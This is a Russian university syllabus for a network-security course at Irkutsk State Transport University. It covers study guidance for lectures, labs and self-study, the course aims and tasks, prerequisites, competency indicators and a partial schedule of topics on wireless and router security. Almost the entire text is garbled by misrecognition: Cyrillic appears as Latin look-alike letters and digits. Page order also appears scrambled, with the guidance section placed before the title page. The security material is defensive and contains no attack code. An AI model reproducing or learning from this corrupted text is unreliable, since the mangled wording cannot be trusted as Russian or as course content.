paboTHI 0O0yJaIOIIIXCS:

— YUTAJIBHBIE 3aJIbI;

— y4eOHbIe 3aJIbl BRIYUCIUTEIbHON Texuuku A-401, A-509, A-513, A-516, 1-501, 1-503, JI-505, 1-507;

— MOMEIIEHHS JUIs XPaHeHUs1 U TPO(UIIAKTHYECKOTo 00CIy)KUBaHUs yueOHoro obopynoBanus — A-521

8§ METOANYECKHE YKA3AHUSA IJI1 OBYYAIOIIUXCA
1O OCBOEHMIO T CIIAIIJIMHBI

Bun yue6HO#M
JIeSITETIHHOCTH

Opranuzanus yaeOHO! AesITeNbHOCTH 00yUJatomEerocs

Jlexmmst (0T maTuHCKOTO «lection» — YTeHne) — BUI Ay AUTOPHBIX YIeOHBIX 3aHATHH. JIeKms:
3aKJIQJBIBACT OCHOBBI HAYYHBIX 3HAHMH B CHCTEMaTH3MPOBAHHOW, IMOCIEIOBATEIBHOM,
00001eHHOM (QopMe; PACKPBIBAET COCTOSHHUE M TIEPCIEKTHBBI PAa3BUTHUS COOTBETCTBYIOIICH
00NacTH HAyKW W TEXHWKH; KOHIICHTPUPYET BHUMaHWE OOydJarouIuxcs Ha Hamboliee CIIOKHBIX,
Y3JIOBBIX BOIPOCAX; CTUMYJIHPYET MTO3HABATEIbHYIO AKTHBHOCTh 00yJarOIMNXCS.

Jlexuus Bo BpeMs JEKIMOHHBIX 3aHATHH OOyJaroOmWiCS MOJDKEH YMETh CKOHIIEHTPHUPOBATH

BHMMAHHUEC Ha HU3YYaCMBbIX np06neMaX U BKIIOUHTH B pa60Ty BCC€ BUJbI INaMATU: CIOBECHYHO,
06pa3Hy10 1 MOTOPHO-ABUTATCJIbHYIO. I[J'IH 9TOr'0 BEChb MaTepual, H3J1araeMbIi npenoaaBaTeyeM,
06y‘laIOIlICMYC$I HCO6XO,Z[I/IMO KOHCIICKTUPOBATh. Ha mnomax xoHcmekra ClIeayeT IoMedaTb
BOIIPOCHI, BbIJICJICHHBIC 06y‘{aIOIIII/IMC$I JUIA  KOHCyJIbTaluh C IIpEenoAaBaTCICM. BBIBO,HLI,
IMOJYYCHHBIC B BUAC (l)OpMyJ'I, PEKOMCHAYCTCS B KOHCIICKTC MMOAUCPKHUBATH UJINA O6BO,HI/ITI: paMKOﬁ,




9TOOBI JIydIlle 3alOMUHANUCh. [lOJNIE3HO COCTaBUTh KPAaTKUH CIPABOYHUK, COJICPIKAIIUI
oTIpenieNeHus BaXHEHIINX MOHATHH Jekunu. K KakaoMy 3aHATHIO CIIEAyeT pa3o0paTh MaTepuai
npenpaymei Jexmun. M3ydas marepuan 1O Y4YeOHWKY WM KOHCIIEKTY JIEKIWH, CIeayeT
MEPEXOANTH K CIEAYIOMEMY BOIIPOCY TOIBKO B TOM ClTydae, KOTZIa XOpOIIO YCBOCH HpPEeABLAYIINI
BOTpOC. PsiT BONpOCOB TUCIIMIUIMHEI MOKET OBITH BRIHECEH Ha CAMOCTOSITETIbHOE n3yueHue. Taxkoe
3a/aHue TpeOyeT OepaTHBHOTO BHITOTHEHMS. B KOHCTIEKTe TeKnii He0OXOAUMO OCTaBUTh MECTO
JUTS OCBEIIEHHs YIIOMSHYTBIX BOIPOCOB. O003HAYNTH BOIPOCHI, TEPMUHBI, MaTepPHall, KOTOPBIN
BBI3BIBAET TPYJAHOCTH, IOMETHUTD U MOMBITATHCS HANTH OTBET B peKOMeHAyeMoil tutepatype. Ecnu
CaMOCTOSITEIIFHO HE yIAaeTCs pa300paThecsl B MaTepuale, TO HE0OX0UMO c(hOpMyITHPOBATH BOTIPOC
Y 33J1aTh NMPENOJABATENI0 Ha KOHCYJbTAIMH, HA TPAKTUYECKOM 3aHSITHH

IIpaxtuueckoe
3aHATHE

[pakTHyeckoe 3aHATHE — BUJ ayTUTOPHBIX y4eOHBIX 3aHATHH, IleJeHaNpaBiIeHHas GopMa
opraHu3aniy y4eOHOro mpoliecca, MpU peaiu3alnul KOTOpOoi 00ydaroluecs Mo 3aJaHui0 U MO/
PYKOBOJICTBOM TPEIOAABATEINS BBIMOJMHIIOT IMpaKTHYeCKHe 3amanHus. [IpakTwdeckue 3aiaHus
HANpaBJICHbl Ha YIIyOJCHUE HAyYHO-TCOPETUUCCKUX 3HAHWWA WM OBJAJICHUC OMNPEICICHHBIMU
METOZaMHU paboThI, B MPOIECCE KOTOPHIX BHIPAOATHIBAIOTCS YMCHHUS M HABBIKU BBITIOTHECHUS TEX
WM UHBIX YUeOHBIX NIcHCTBUI B MaHHOM chepe Hayku. [IpakTHyecKue 3aHATHS Pa3BUBAIOT HAYYHOC
MBIIIICHHE W PEYb, MO3BOJISIOT MPOBCPUTHh 3HAHHS OOYYAIOIIUXCS, BBICTYMAIOT KaK CpPEACTBA
OMEpaTUBHOW OOpaTHOM CBSI3U; I€lb MPAKTHYCCKUX 3aHATHH — YIOIyONsiTh, PACHIMPSTH,
JETaIM3NUPOBATh 3HAHUS, IOJydCeHHBIC Ha JICKIMH, B 0000mEHHOW (opMe W COIeHCTBOBATH
BBIPAOOTKE HABBIKOB PO ECCHOHANBHON S TETHHOCTH.

Ha mnpakThyeckux 3aHATUSIX IOAPOOHO paccMaTpUBAIOTCS OCHOBHBIC  BOIMPOCHI
JCIUILUIHHBI, Pa30UPalOTCsl OCHOBHBIC TUIIBI 33/1a4. K Ka)KIOMy MPaKTHUECKOMY 3aHSITHIO CIIEAYET
3apaHee CaMOCTOSTENBHO BBIOJIHUTH JOMAIHEe 3aJaHie W BBIYYHUTH JICKIHOHHBIH MaTepuan K
cneayroniei TeMe. CHUCTEMaTHUECKOE BBITOJHEHHUE JOMAIIHUX 3aaHU 005A3aTEIbHO U ABJISICTCS
BaXXHbBIM (baKTOpOM, CHOCO6CTByIOIHHM yCHeHIHOMy yCBOCHI/IIO JUCIIUITIINHBI

JlaGopatopHas
pabota

OCHOBHO LIeITBI0 TA0OPATOPHBIX PadOT ABIACTCS TEOPETHIECKOE 000CHOBAHNE, HATILITHOE
W/WIM SKCHEPUMEHTAIFHOS MOATBEPXKICHUE W/WIM TPOBEpKa CYIIECTBEHHBIX TEOPETHYECKHX
MOJIOKCHUH (3aKOHOB, 3aKOHOMEPHOCTEIl) aHaln3 CYMIECTBYIOIIMX METOJUK W METOIOB HX
peammzamuy ¥ T.0. OHH 3aHHUMAIOT IPEUMYIIECTBEHHOE MECTO NPH H3YyYCHHH TUCLUILIMH
00513aTeIbHON YaCTH M YacTH, POPMHUPYEMOH YIaCTHUKAMHU 00pa30BaTEIbHBIX OTHOIICHUH Biioka
1.

Hcxops u3 uenu, coaepikaHueM Jab0paTOpPHBIX paboT MOTYT OBIT:

- SKCIIEPUMEHTANIbHAS IPOBEpKa GOPMYJI, METOJMK PacdeTa;

- IPOBE/ICHHE HATYPHBIX U3MEPEHUI CBOICTB, pabOUUX MMapaMeTPOB, PEXKUMOB PaOOTHI PU
MOMOIIHY JTa0OpaTOPHOTo 000PYIOBAHUS W/HITH CTEHIOB U MAaKETOB;

- 03HAKOMJICHUE, aHAJIN3 ¥ TEOPETHUYECKUE BBIKJIA/IKU 110 YCTPOMCTBY, IPUHINITY AHCTBUS
U crioco6am 00CITyKMBaHHS aIllaparos, IeTalel MallliH, MEXaHU3MOB, ITPOIIECCOB, TPOTEKAFOLTHX
B HUX IIPH 3TOM U T.JL.;

- HarysiHas rpaduyeckas HHTEPIPeTalys YepTexel, cxeM, 00bEMHBIX ITOBEPXHOCTEH U
T.JI., BOCHPOH3BOJIUMBIX C TIOMOIIBIO CIIEIIHAIN3UPOBAHHOTO MPOTrPaMMHOTO 00€CTIeUECHUS;

- UMHTAIlIOHHOE MOJIENTUPOBAHME IPOIIECCOB, NMPOTEKAOIINX B CIIOKHBIX XHMHUYECKHUX,
(hM3NIECKUX, MEXaHMUECKHUX, DJICKTPHUUECKUX U TP. 00BEKTAX;

- HarjsiIHOE TIpelCTaBieHHe O paboTe MepcoHala KOHKPETHOH OpraHu3alud I
noapazaenesHust OAO «PXK/» mocpeacTBOM MOAETHPOBAHUS IUTATHBIX M BHEIITATHBIX CUTYalni
B BUPTYaJIbHBIX CHIEHMATU3MPOBaHHBIX APM (aBTOMaTH3MPOBaHHBIX pa0OYMX MECT);

- YCTAQHOBJICHHE M TMOATBEPKJCHHE 3aKOHOMEPHOCTEH (ITyTeM CpaBHEHUS IIPOBEACHHOIO
9KCIIEPUMEHTA U PACCUNTAHHBIX 3HAYCHUH) U T.11.;

- O3HAKOMJICHHE C METOJMKAMH TPOBEICHMS SKCIEPHMEHTOB, HATILSIIHBIM YCTPOWCTBOM
CTEH/I-MaKETOB U Tp.;

- YCTaHOBJICHHE CBOWCTB BEIIECTB, MX KAYECTBEHHBIX M KOJIMYECTBEHHBIX XapaKTePHCTHK;

- aHAJIN3 PA3INYHBIX XapaKTEPHUCTHK MPOLECCOB, B TOM YHCIIE MPOM3BOACTBEHHBIX U MHBIX
MPOLIECCOB;

- pacdeT mapaMeTpOB PA3MYHBIX SBICHHUH W TPOIECCOB, CMOJIEIHPOBATH KOTOPHIE HE
BO3MOYKHO B pEaJIbHBIX YCIOBHAX (HAIpUMep, Ype3BbIYaifHbIE CUTYAIlUH U TIP.);

- HaOJI0ZIeHNe pa3BUTHS SBIICHHUH, IIPOLIECCOB H JIP.

JlomyckaeTcsi MHOE co/iep KaHue JTabopaTopHBIX PadoT, eciu 3T0 OyJeT cnocoOCTBOBAThH
peanu3anyy Henei 1 3a1a4 TUCIHUIUITMHEL 1 (OPMHUPOBAHUIO COOTBETCTBYIOIINX KOMIIETECHITHH.

ITo xapakTepy BBIIOJIHIEMBIX Ja00PATOPHBIX PAOOT BO3MOKHBI:

- O3HAKOMHTENbHbIE PabOTHI, WCIOJb3yeMble JJIsI  3aKpeIUIeHUs  W3yYeHHOTO
TEOPETUYECKOTO MAaTEPUAIbI;

- aHAIUTHYECKUE PabOThI, NCIOJIB3yEeMbIE IS TIOyYeHNs] HOBOW MH(OPMAIMK Ha OCHOBE
(hopMann30BaHHBIX METOIOB;

- TBOpYECKHE paOOThI, OpPUEHTUPOBAHHBIE HA CAMOCTOSATENHHbINH BEIOOP I10IX0/I0B PELICHUS
3a/ad.




[Ipexne, YeM NPUCTYNHUTh K JTa0OPATOPHBIM 3aHATUSAM, OOYYAIOIIMMCS HEOOXOIUMO
MMOBTOPHUTH TEOPETHUECKUN MaTepual mo Teme padothl. Kaxmas mabopaTopHas paboTa ocHalIeHa
METOJIMYECKHMH YKa3aHUsIMU, pa3pa00TaHHBIMU MPENOAABATEISIMU, BEAYIIUMHU TUCHUIUINHY

CamocTosTeabHas
pabota

OOyuenne no aucuumuinHe «besomacHocts cereli DBM» mpenycmarpuBaeT akTHBHYIO
caMocToATeNbHYI0 pabory oOyuwaromerocs. B pasznene 4 paboueil mporpamMmbl, KOTOPBIH
HasbiBaeTcst «CTpyKTypa M COAEp)KaHWe INUCLHUIUIMHBD), BCE Yachl CaMOCTOSTENBLHON padoOThI
pacmucaHbl 10 TeMaM M BONpOCaM, a TaKXe yKazaHa HeoOxoxmmas ydeOHas IHuTepaTypa:
oOygaromuiicss M3y4daeT y4eOHBIM Marepuan, pa3OupaeT MpHUMeEphl M pellaeT pa3HOYpOBHEBEHIE
3aJadyl B paMKax BBINONHEHHS Kak OOLIMX [JOMAaIIHWX 3aJaHuil, Tak W HWHIUBHIYaIbHBIX
moMarmHuX 3amannid (MJI3) m apyrux BumoB paboT, MpeayCMOTPEHHBIX paboueil mporpammon
JUCcIUIDIMHBL. [Ipy BBIMOIHEHWM NOMANIHMX 3aJaHWH OOydYaroIIeMycsl ClelyeT OoOpaTHThCA K
3aJadaM, PEIICHHBIM Ha MPEIBIAYIINX MPAKTUUECKUX 3aHATHAX, PEIICHHBIM JOMAIIHUM paboTam,
a TaKoKe K IpUMepam, IIPHUBOANMBIM JIEKTOPOM. Ecin 3Toro OynetT HeoCcTaTOuHO JUIs BHITIOIHEHUS
BCel pabOThI MOXHO JIOTIOJIHUTEIFHO BOCIIOJIB30BAThCS YIEOHBIMHU MOCOOUSIMU, TPUBEICHHBIMH B
paznmene 6.1 «YueOHast nurepaTypa». Ecnm, HecMOTpsi Ha W3y4YeHHBIH MaTepual, 3aJaHue
BBINIOJIHUTh HE YAAeTCsi, TO B 00S3aTENLHOM IOPSIAKE HEOOXOIMMO MOCETUTh KOHCYJBTALUIO
NpernoiaBaTes, BeAyIIero MpakTHUeCKUe 3aHATHS, H/WIN KOHCYJIBTALUIO JEKTOpa.

JlomamHue 3ajaHus, WHIMBUIYyalbHblE JOMAIIHUE 3aJaHus M Jpyrue paboThl,
MpexyCMOTPEHHBIE pabodeii IpOrpaMMON JUCIUIIIHHBI JOJIKHBI OBITh BBITOIHEHBI 00yJarOIUMCs
B YCTaHOBJICHHBIC IIPENOIABATEIIEM CPOKH B COOTBETCTBUH C TPEOOBAHHAMHU K OGOPMIICHHUIO
TEKCTOBOH W TpaduuecKor JOKyMEHTanuu, copmynupoBaHHbIM B [Tomoxernn «TpeGoBaHus K
oopmIIeHHIO TEKCTOBOH M TpadudecKkoii JokyMeHTamu. HopMOKOHTpOIIB»

Komruieke y4eOHO-METOMYECKHX MaTepUalioB IO BCEM BHAAM Y4eOHOH NESITENbHOCTH, MPEAYCMOTPEHHBIM padoueit
TIPOTPaMMO¥ TUCITUITLINHEI (MOAYIIS), pa3MeIleH B JJIEKTPOHHOH HHPOpMaInOHHO-00pa3oBartenbHoi cpene Upl'YIIC,
JOCTYIHOX 00ydaromemMycs 9epe3 ero JINYHbIN KaOHMHEeT




OEJIEPAJIBHOE ATEHTCTBO XEJIE3HOJJOPOXXHOI'O TPAHCIIOPTA

®enepalibHOE rOCYIapCTBEHHOE OI0/KETHOE 00Pa30BaTEIbHOE YUPEKICHUE
BBICIIIETO 00pa30BaHuUs
«MpKyTCKU#i TOCYAapCTBEHHBIM YHUBEPCUTET ITyTEH COOOIIICHMSI
(®I'bOY BO UpI'VIIC)

VYTBEPXJIEHA
MIPUKA30M H.0. PEKTOpa
ot «17» utonusa 2022 r. Ne 77

b1.0.31 bezonacHocTh cereit DBM

pabouas nmporpamMma JUCITUTIINHBI
CnenunanpHOocTh/HanpaBienne  moaroroBku —  10.05.03  MudopmammonHas  0e30MacHOCTb
ABTOMATU3MPOBAHHEIX CUCTEM
Crnenmanu3anus/mpoduiib — be30nacHOCTh OTKPBITHIX MHPOPMAIIMOHHBIX CHCTEM
Kpaymmdukarms BeimyckHuKa — CHSIMAIKCT 110 3aluTe WH)OpMAauu
dopma u cpok 00ydeHus — ouHas dopma 5 jer, 6 MecsleB
Kadenpa-pazpadboTunk mporpammsl — UHQOpMAIIMOHHEIC CHCTEMBI U 3alIUTa WH)OPMALIUN

OO1mas TpyA0eMKOCTh B 3.¢. — 6 @DopMBI TPOMEKYTOUHON aTTECTAUH

Yacos o yaebrOMYy 1iany (YII) — 216 ouHast (hopMa 0OyIeHHS:
9K3aMeH 7 ceMecTp, KypcoBas pabora 7 ceMecTp

Ounas opma o0yueHus Pacnpenesienne 4acoB TUCHUIIJIMHBI 10 CEMeCTPaM
Cemectp 7 Hroro
Buj zansatui Yacos o YII Yacos no YII

AyIuTOpHAasi KOHTAKTHAs

padoTa no BMAAM y4eOHbIX 102 102

3aHATHIH/

B T.4. B popme ITIT*

— JIEKIIANA 34 34

— MpakTHUYecKue (CeMUHapCKue) 34 34

— J1ab0paTopHbIE 34 34

CamocrosiTesibHasi pagoTa 78 78

JK3aMeH 36 36
Hroro 216 216

NPKYTCK



Pabowas mporpamMma JUCHMIUIMHBI pa3pa0oTaHa B COOTBETCTBUM C (pemepanbHBIM
roCy/IapCTBEHHBIM 00pa30BaTENbHBIM CTaHAAPTOM BBICHIETO OOpPa30BaHMSI — CIELHUATIUTET 110
cnermanbHoct  10.05.03  WudbopmanmonHas 0e30MacHOCTh  aBTOMATH3UPOBAHHBIX — CUCTEM
yTBepxkaeHHbIM [Ipukazom Munobpuayku Poccun ot 17.02.2021 Ne 62532.

[Iporpammy cocraBmii(u):
Crapmwii npenofgasatens, I11.H. Hacenxun

Pabouas nmporpamma paccMoTpeHa U 0J00peHa Ui UCIOJBb30BaHus B y4eOHOM Ipoliecce Ha

3acenannu kadenps! « THMDOpMAIIMOHHBIC CUCTEMBI U 3aIIUTa HHPOPMAITUI», POTOKOJ OT «17) HIoHS
2022 1. Ne 12

3aB. kadeapoi, K.3.H., JOLUCHT T.K. Kupunnosa



1 EJIA Y 3AJAYM M COUATIIVHBI

1.1 Heau AUCHHUITUHBI

(bOpMHpOBaHI/IC Y CTYACHTOB OCHOBHBLIX HpeI[CTaBJ'ICHI/Iﬁ 0 HOpUHIHUIIAX U KOHIIGHIII/Iﬁ 0e301macHOCTH
KOMIBIOTCPHBIX ceTeﬁ, BKJIIO4ast TUIIBI YTPO3 U ySISBHMOCTCﬁ, C KOTOPBIMHU CTAJIKUBAKOTCS CCTH,

(hopMupoBaHHE y CTYJCHTOB PO(ECCHOHANBHBIX 3HAHUH, HABBIKOB M YMEHHH HEOOXOIMMBIX IS 3aIUTHI
2 KOMIIBPIOTEPHBIX CeTell ¥ TIepeJaBacMbIX 110 HHUM JaHHBIX OT HECAHKIIMOHHPOBAHHOTO IOCTYTIA,
WCTIOJIb30BaHUsI, PACKPBITHS, HAPYIICHUS, MOIU(DUKAIINN HIH YHHITOKCHUS,

U3YYCHHE PA3IMYHBIX MEXaHM3MOB M METOIOB 3aIllUTHI, HCIIOJIB3YEMbIX Ul 00ecIeueHus] O0e30MacHOCTH
3 KOMITBPIOTEPHBIX CETeH, TaKWX Kak IMH(pOBaHHE, ayTeHTH(PHUKANNsA, KOHTPOIb AOCTyIa, OpaHaMay3phl H
CHCTEMbI O0HAPYKEHHSI BTOPKSHHUH;

Ppa3BUTHUC CITOCOOHOCTHU BEISBIIATH U AHAJIU3UPOBATH PUCKHU 0Ee30IMacCHOCTH U YA3BUMOCTH KOMIIBIOTECPHBIX

4 o
ceTel, a Takxke pa3pabaThIBaTh U BHEAPATH Y3PPEKTHBHBIE MEPHI 0€30IIACHOCTH AJISI CHIDKEHUS ATHX PHUCKOB,;
5 NOJyYeHHE TOHUMaHHUs FOPUIUMYECKMX U OTHYECKHX BONPOCOB, CBS3aHHBIX C 0OE30MaCHOCTHIO
KOMITBIOTEPHBIX CeTeH, BKJII0Yast COOJII0ICHHE HOPMAaTUBHBIX aKTOB;
6 Pa3BUTHE KPUTHUYECKOTO MBIIIICHHS ¥ HABBIKOB PELICHHS IPOOIIEeM VIS OLICHKH 3 (GEKTHBHOCTH Pa3IMYHBIX

Mep Oe30MacCHOCTH M pa3padOTKH HOBBIX PEIICHHH I BOSHUKAIONINX YIpo3 0e301macHOCTH
1.2 3agaumn AMCHHIIIHHEI

1 BBISIBJICHUC U OLICHKA NOTCHIHMAJIbHBIX PHUCKOB 0e30ImacHOCTH KOMHbIOTepHOﬁ CCTHU U €C aKTHUBOB,

BBIBJICHHEC M OLEHKA IOTCHIMAIBHBIX YA3BHMOCTEH WH(PACTPYKTYypBl, CHCTEM U IPHIOKECHUH

2 N
KOMITBIOTEPHOM CETH;

3 npuoOpeTeHe yMEHHI U HABBIKOB B ITPOBEICHUH aHAIN3a IOTCHI[HAIBHBIX YTPO3 151 KOMITBIOTEPHOM CeTH,
TaKUX KaK BPEJJOHOCHBIC IPOrPAMMBbI, BUPYCHI H XaKePhbl;

4 N3Yy4YCHHUE OTAIllOB p33p36OTKI/I 1 BHCAPCHUA MOJIUTHUK U MPOUEAYP, ONPCACIIAIONMNX MMOAXO0A OpraHru3anun K
o0ecreueHUI0 OE30IaCHOCTH CETH;

5 M3yYEeHUE MEXaHU3MOB KOHTPOJIS IOCTYIIA TT0JIb30BATENCH, YCTPOWCTB U MPUIIOKEHUH K CETEBBIM pecypcam
U nHpOpMaIuy;
NpUOOpEeTEeHHE MPAKTUYECKUX HABBIKOB KOH(HUIYPUPOBAHHUS CETEBOTO OOOPYMOBaHHsS it 00CCIECUCHUS

6 0€30MacCHOCTH BBIYHCIUTEIBHBIX CETeH, B TOM 4YHCIE OOecleueHHe peXuma ayTeHTH(OUKANUU |
ABTOPU3AIIMH TI0JIb30BATENCH U YCTPOUCTB, KOTOPBIE TBITAIOTCS MOJIYYUTh JOCTYI K CETEBBIM pecypcam,
MPEIOCTaBICHUE COOTBETCTBYIOIIMX YPOBHEH JOCTYIA HA OCHOBE UX POJICH U pa3pelieHuir;

7 U3y4YEeHUE METOMOB obecreueHust Oe30IaCHOCTU CETEBOrO B3aMMOJCHCTBHS MyTeM MIN(GPOBAHUS JAHHBIX

IpH UX Mnepeaaldc no CeTu;

nproOpeTeHne NMPaKTHYECKUX HAaBBIKOB B OOHApPYKEHHM M MPEAOTBPAILEHHN BTOPKEHUH, BKIIOUAIOIINX
8 MOHHUTOPHHI CETEBOTO TpaduKa U aKTHBHOCTH CHCTEMBI Ha IPEIMET IMPU3HAKOB HECAaHKIIMOHUPOBAHHOTO
JIOCTyIa U IPUHSTUE IPEBEHTUBHBIX MEp AJIs IPEAOTBPALICHHUS] aTakK;

U3y4eHHE CIOCOOOB pearnpoBaHWs Ha WHIMACHTHI MyTEM pa3pabOTKH M BHEAPEHHUS IPOLELyp
pearupoBaHus Ha WHIMJICHTHI 0€30MacCHOCTH, TAKHE KaK yTeUKa JaHHBIX U CETEBBIC aTaKH;

HU3Yy4YCHHUEC DOTAllOB IMPOBEACHUA ayauTa 0e30I1acHOCTH  Ha npeamMeT nyBPIMOCTeﬁ 0Ee30IMacCHOCTH U
COOTBETCTBUS OTPACJICBBIM CTAHAAPTAM U HOpMaM

10

1.3 Ilesb BOCIUTAHMS U 32124 BOCIIMTATEJbHOH pad0Thl B pAMKAX AUCHHILVINHBI

[MpotheccroHaTbHO-TPYI0BOE BOCIUTAHUE O0YYAOIIUXCSI

Lens npodeccroHabHO-TPYAOBOTO BOCHIUTaHUS — (POPMHUPOBAHUE Y 00yHarOIIMXCsl OCO3HAHHON MpodeccHOHAIBHON
OpHEHTALlNH, TOHMMaHMS OOIIECTBEHHOTO CMBICIA TPYAAa W 3HAYMMOCTH €ro Ui ce0sl JMYHO, OTBETCTBEHHOTO,
CO3HATEJIBHOIO M TBOPYECKOTO OTHOLICHUS K OyIyIied NesTelbHOCTH, NMPO(QEecCHOHATBHON 3THKH, CIIOCOOHOCTH
NPEABUACTh W3MEHEHHS, KOTOPbIe MOI'YT BO3HHUKHYTH B NMPO(ECCHOHAIBHOW NESATENbHOCTH, U YMEHHIO paboTaTh B
HM3MEHEHHBIX, BHOBB CO3JAHHBIX YCJIOBHSX TPYZa.

Lenp gocTUraeTcs M0 Mepe pelieHus B ANHCTBE CIEAYIOIUX 3a/1a4:

— (opmupoBaHHE CO3HATENHLHOTO OTHOIICHHS K BRIOpaHHOI ITpodeccuu;

— BOCIIMTaHUE YECTH, TOPJOCTHU, JTIOOBU K MpodecchH, CO3HATENHPHOTO OTHOUICHHSA K NMPO(ECCHOHANBHOMY JOJTY,
MIOHMMAEMOMY KaK JIMYHAs! OTBETCTBEHHOCTh M O0SI3aHHOCTD;

— (popmupoBaHKE NICHXOJIOTHH NpodeccroHana;

— (opmupoBanue podhecCUOHATBHON KYJIBTYpPBI, STUKH MPOYECCHOHATIBHOTO OOIICHUS;

— (opMHUpOBaHKE COLMATIBHON KOMIIETEHTHOCTH M JIPYTHe 33/1a4H, CBSI3aHHbBIE C HUMH/KEM NPO(GECCUH U aBTOPUTETOM
TPaHCHOPTHOM oTpaciu

2 MECTO JUCIMIIJIMHBI B CTPYKTYPE OIIOII

Biiok/gacts OITOIT | Brok 1. [iucumrmusi / O6s3aTesbHas 4acTh

2.1 lIl/lClllrll'[J'll/lHLl N MPAKTUKH, HA KOTOPbIX OCHOBBLIBAECTCHA U3YyUCHUE JTAHHOM JUCIHUIIIMHbI

b1.0.36 Cetu 1 cucTeMbl niepeiauu HHPOPMALHU

b1.0.37 3ammra nHbOpMAaIIMK OT YTEUKU MO0 TEXHUYECKUM KaHaJIaM

b1.0.47 adopmarioHHbIe TEXHOJIOTHH

AIWN -

b1.0.51 Kubepbe3onacHocTh

2.2 lIﬂClll/ll'lJ'll/ll-[l)l U NMPAKTHKHU, Il KOTOPbIX U3YyUYCHUE JTAHHON M CHMIIJIHHBI
HeOﬁXOl]ﬂMO KaK npeamecTrByruiee




b51.0.39 IIporpamMHoO-anmapaTHble CpeJCTBa 3alUTHl HHPOPMALUN

b1.0.45 BuptyanbHble YacTHBIE CETU

b51.0.62 MogaenupoBaHre TPOIECCOB U CUCTEM 3aIIUTHI HHOOpMamu

b3.01(J) IMoaroroBka K mpoueaype 3aiyThl BBITYCKHOM KBaIH(UKAINOHHON paboThl

A WN -

b3.02(J1) 3anuTa BEIMYCKHON KBaTU(UKAIIMOHHON pabOThI

3 IINTAHUPYEMBIE PE3YJbTATBIOBYYEHUSA 11O JUCIUIIJIMHE,
COOTHECEHHBIE C TPEBOBAHUSMMU K PE3YJIBTATAM OCBOEHUA
OBPA3OBATEJIbHOM ITPOT'PAMMBI

Koa n
HAaMMEHOBaHHUe
KOMIIETeHIUH

Koa u HaumMeHoBaHuUe
HHIHKATOPA A0CTH:KEHHA
KOMIETEeHIHHN

IInanupyemMsble pe3yJbTaThl 00yUeHHs

OIIK-9 Crnocoben
pemraTh 3a1aum
npo(heCcCHOHATBHOM
JIESITEIIBHOCTH C
YYETOM TEKYIIETO
COCTOSIHUS U

OIIK-9.1 IIpoBoaut ananu3
npodeccrnoHanbHOM
JEATEIILHOCTH JUIS PEIICHHS
3a]a4 3alKThl HHPOPMAaIHH,
CeTeH U CUCTEM Nlepefadu

3Hatb: [TonmTHKy, IpoLieLypsl ¥ CTAaHAAPTH HH(OPMAITMOHHON
0€30MacHOCTH; TIepEeIOBBIC METOIbI 00ECTICUCHHS
0e30MacHOCTH CeTel, CepBepOB, MPHIIOKEHUH U XPAaHUITAIII
JAHHBIX; 00IIHe YTPO3bI 0€30ITaCHOCTH U BEKTOPHI aTak, a
TaK’Ke CIOCOOBI X MPETOTBPALIECHHS WIIH CMSTICHIS;
HOPMAaTHBHBIE TPEOOBaHMS, METONOJIOTHU X HHCTPYMEHTHI
OLICHKH PUCKOB

YMeTh: MPOBOIUTH OIIEHKU M ayIUTH 0€30IIaCHOCTH IS
BEISBIICHUS YSI3BUMOCTEH U pUCKOB; pa3padaTbiBaTh U
BHEAPSATH CPEICTBA KOHTPOJIS 0€30IIaCHOCTH H KOHTPMEPHL;
OTCJICKHMBATH ¥ aHAIM3UPOBATH KYPHAJIBI 1 COOBITHS
0e30MacHOCTH JyIsl OOHAPYKESHUS U pearupoBaHus Ha
WHIUICHTHI 0€30MaCHOCTH; pa3padaThiBaTh U BHEAPSATH

TEHACHIUN
JTAaHHBIX 0e30MacHbIC CETEBBIC APXUTEKTYPhI U KOH(DUTYpaLInY;
A3BUTHS
p NPOBOJUTH 00y4eHHE 1 NH(GOPMHUPOBAHHE KOHEYHBIX
nH(pOpMaMOHHBIX Z
. MOJIH30BATEJICH ¥ 3aMHTEPECOBAHHBIX CTOPOH IO BOIIPOCAM
TEXHOJIOTHA,
0e30macHOCTH
cpeacTB
N BrasieTh: aHATUTHYCCKUMH HABBIKAMU U HaBBIKAMH PEIICHUS
TEXHAYECKOI
SALLITEL npo0JIeM; KOMMYHHKATUBHBIMUA U MEXJIMYHOCTHBIMHU
I/IHIE)O AL HABBIKAMH; HHCTPYMEHTAMH U TEXHOJIOTUSAMH 0C30MacHOCTH,
OPMatii, TaKMMH KaK OpaHaAMay3phl, CHCTEMbI OOHAPYKEHUS 1
ceTel u cucTeM N .
Hepeat NpPEJOTBPAIICHUS BTOPKCHHUN, CKAHEPAMH YSI3BUMOCTEH H T.JI
I/IHI;)l)O N 3HAaTh: TEKYIIIEE COCTOSHUE U TCHICHIIUU PA3BUTHI CETCH U
P CHCTEM Iepegadr HHpopMaImu
OIIK-9.3 3naer Tekyuiee YMeTh: IPUMEHATH PA3IMYHbIE METO/Ibl aHAIM3a JIJIS1 PELIEHUS
COCTOSIHUE W TeH/ICHIINU 3aJ1a4 3alIUThl HHPOPMAIIUH, CETE U CUCTEM IMepeaavn
pa3BuUTHSI CeTEll U CUCTEM JIAHHBIX
nepeaayn nHpopMauu Brnaners: pa3inuHbIME CIIOCOOaMK U METOIaMu cOopa, TIOMCKa
COBPEMEHHON MH(POPMAIMH 110 CETSIM M CHCTEMaM Iepeiadun
“HpOpMAIIN
4 CTPYKTYPA U COAEP KAHUE NNCIHHUIIJINHBbI
Ounas ¢opma *Koa
Yacsl HMHAMKATOpa
KO)] HaumeHoBanue pa3aejioB, TeM U BU/I0B p260T Cemect JOCTHIKEHHST
Pl Jlex | Tp | JIa6 | CP
KOMIIETEHIIUH
1.0 | Paspen 1. Mocrpoenne npocroii ceru. IBC Ethernet.
2.0 | Paznen 2. Be3omacHocTh 0eCHIPOBOIHBIX ceTeil mepexavyu
JAHHBIX.
2.1 | Tema 5. Drambl BHeapeHus OecrnpoBoHOM ceTh. [IpoToKoIb! 7 4 4 4 OIIK-9.1
6e3onacHoctu cereii WLAN OIIK-9.3
2.2 | Jlaboparopuast pabora Ne 6. IloctpoeHne OECHPOBOIHBIX 7 4 OIIK-9.1
HH(OPMAIMOHHBIX CHCTEM OIIK-9.3
3.0 | Pasznen 3. Coeqnnenne JIOKAJIbLHBIX CeTeii.
3.1 . OIIK-9.1
Tema 6. CpeznctBa peanu3aluu MEXCETEBOTO B3aUMOAEUCTBUS 7 3 3 4 OIK-9.3
3.2 | JlabopatopHas padota Ne 7. HacTpoiika HCXOIHBIX TapaMeTPOB 7 3 OIIK-9.1
0€30MacHOCTH MapHIpyTU3aTOpa OIIK-9.3
